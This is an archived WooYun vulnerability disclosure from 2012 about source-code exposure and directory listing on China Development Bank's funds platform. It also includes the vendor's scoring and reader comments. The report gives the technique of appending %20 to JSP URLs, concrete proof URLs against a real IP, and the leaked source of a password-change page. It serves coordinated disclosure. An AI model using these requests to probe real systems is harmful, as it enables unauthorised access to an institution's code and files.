当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-04721

漏洞标题:国家开发银行资金平台系统爆源码

相关厂商:国家开发银行

漏洞作者: only_guest

提交时间:2012-02-23 20:21

修复时间:2012-04-08 20:21

公开时间:2012-04-08 20:21

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-02-23: 细节已通知厂商并且等待厂商处理中
2012-02-24: 厂商已经确认,细节仅向厂商公开
2012-03-05: 细节向核心白帽子及相关领域专家公开
2012-03-15: 细节向普通白帽子公开
2012-03-25: 细节向实习白帽子公开
2012-04-08: 细节向公众公开

简要描述:

国家开发银行资金平台系统爆源码+列目录
没有授权.不敢进一步渗透.

详细说明:

老洞.url后面加%20爆源码.再加上本身存在列目录.问题十分严重
爆源码
http://210.75.220.81/index.jsp%20
列目录
http://210.75.220.81/common/
http://210.75.220.81/jsp/

漏洞证明:

http://210.75.220.81/jsp/system/User/changePassword.jsp%20
源码如下

<%@ page  contentType="text/html; charset=GBK" %>
<script language="javascript" type="text/javascript" src="../../../js/formCheck.js"></script>
<script language="javascript">
function checkonSubmit(){
//if (!check(document.frmEdit)) {return ;}
if (!(document.frmEdit.newpwd.value==document.frmEdit.confirmpwd.value)){
alert("新密码和密码确认输入不一致");
document.frmEdit.newpwd.focus();
return ;
}
if (confirm('你确认修改密码么?'))
{
//防止多次点击//HZX//2006/03/02
buttonDisabled(document.frmEdit);
document.frmEdit.submit();
}
}
</script>
<html>
<head>
<title>修改密码</title>
<link rel="stylesheet" href="../../../css/main.css" type="text/css">
<script language="javascript" type="text/javascript" SRC="../../../js/commonuse.js"></script>
</head>
<body topmargin=0 leftmargin=0 onscroll="document.recalc(true)" onload="document.frmEdit.oldpwd.focus();">
<form name="frmEdit" action="changePasswordSave.jsp" method="post">
<table width="60%" border="0" cellspacing="1" cellpadding="3" align="center" class="Table" >
<tr>
<td colspan="2" align="center" class="TDTitle"> 修改密码</td>
</tr>
<tr>
<td class="TdDataName"><font class="Fonts">原密码:</font></td>
<td class="TdData"><input v_type=string v_name='原密码' v_must='1' type="password" name="oldpwd" size="30" value="" class="Input"></td>
</tr>
<tr>
<td class="TdDataName"><font class="Fonts">新密码:</font></td>
<td class="TdData"><input v_type=string v_name='新密码' v_must='1' type="password" name="newpwd" size="30" value="" class="Input"></td>
</tr>
<tr>
<td class="TdDataName"><font class="Fonts">密码确认:</font></td>
<td class="TdData"><input v_type=string v_name='密码确认' v_must='1' type="password" name="confirmpwd" size="30" value="" class="Input"></td>
</tr>
</table>
</table>
<p align="center">
<input type="button" class="Button" value="保存" onclick="checkonSubmit();">
<input type="button" class="Button" value="返回" onclick="history.back(-1)">
</p>
</form>
</body>
</html>

修复方案:

做个安全加固吧.这么重要的东西.

版权声明:转载请注明来源 only_guest@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2012-02-24 11:13

厂商回复:

CNVD确认目录遍历漏洞,但url+%20方式未复现源代码泄露情况,后续继续跟踪。
CNVD对目录遍历漏洞评分如下:
基本得分CVSS:(AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:N) score:4.96(中危)
技术难度系数:0.9(较易)
影响危害系数:1.0(一般)
CNVD综合评分:4.96*0.9*1.0=4.46

最新状态:

暂无


漏洞评价:

评论

  1. 2012-02-23 21:21 | xiya ( 路人 | Rank:5 漏洞数:1 )

    哥们,爆了不少洞啊.哈哈. mark~

  2. 2012-02-23 21:57 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @xiya 煕雅妹子...

  3. 2012-02-23 22:32 | 乌龟 ( 路人 | Rank:3 漏洞数:1 | 网络安全爱好者)

    强大。。

  4. 2012-02-23 23:42 | popok ( 普通白帽子 | Rank:117 漏洞数:24 | nothing)

    好牛掰的机构名!!!

  5. 2012-02-24 02:12 | xiya ( 路人 | Rank:5 漏洞数:1 )

    @only_guest 最近天天挖这些东西啊... 哈哈~

  6. 2012-02-24 02:18 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @xiya 剑心牛人气旺啊..来捧场`

  7. 2012-02-24 09:15 | leehenwu ( 普通白帽子 | Rank:194 漏洞数:24 | 撸·啊·撸)

    顶~~~

  8. 2012-02-29 17:13 | 神刀 ( 路人 | Rank:23 漏洞数:3 | www.shellsec.com内射那么牛,虾米没妹子?)

    哥们,爆了不少洞啊.哈哈. mark~

  9. 2012-03-27 20:40 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    双杠试试新东东还暴不暴

  10. 2012-04-08 22:22 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    这个是咋猜到路径的呀 求大神指教呀

  11. 2012-04-10 18:52 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    外部关联:http://wenku.baidu.com/view/a3df4afcaef8941ea76e05db.html (jsp安全)

  12. 2012-04-12 12:27 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @horseluke 求交往,留下联系地址